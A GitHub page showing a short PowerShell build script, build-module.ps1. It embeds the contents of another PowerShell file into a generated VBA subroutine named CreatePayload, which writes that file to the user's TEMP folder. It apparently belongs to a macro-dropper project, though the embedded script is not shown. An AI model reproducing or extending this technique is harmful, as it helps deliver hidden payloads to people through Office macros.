-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbuild-module.ps1
33 lines (29 loc) · 976 Bytes
/
build-module.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function Build-Vba {
param (
[string]$sourceFilename = "./main.ps1",
[string]$temporaryFilename = "\temp.ps1"
)
[string[]]$codeList = Get-Content $sourceFilename
[string]$Code = ""
$codelistBeforePrint = @(
"Static Sub CreatePayload()"
"`tDim s"
"`tDim n"
"`ts = Environ(`"TEMP`") + `"" + $temporaryFilename + "`""
"`tn = FreeFile"
"`tOpen s For Output As #n"
)
$codelistAfterPrint = @(
"`tClose #n"
"End Sub"
)
for ($i = 0; $i -lt $codeList.Count; $i++) {
$codeList[$i] = ("`tPrint #n, `"" + ($codeList[$i] -replace "`"", "`"`"") + "`"")
}
$codeList = $codelistBeforePrint + $codeList + $codelistAfterPrint
foreach ($item in $codelist) {
$Code += $item + "`n"
}
$Code | Out-File -FilePath "src/Classes/PayloadCreater.vb"
}
Build-Vba -sourceFilename "./src/ps/main.ps1" -temporaryFilename "\temp.ps1"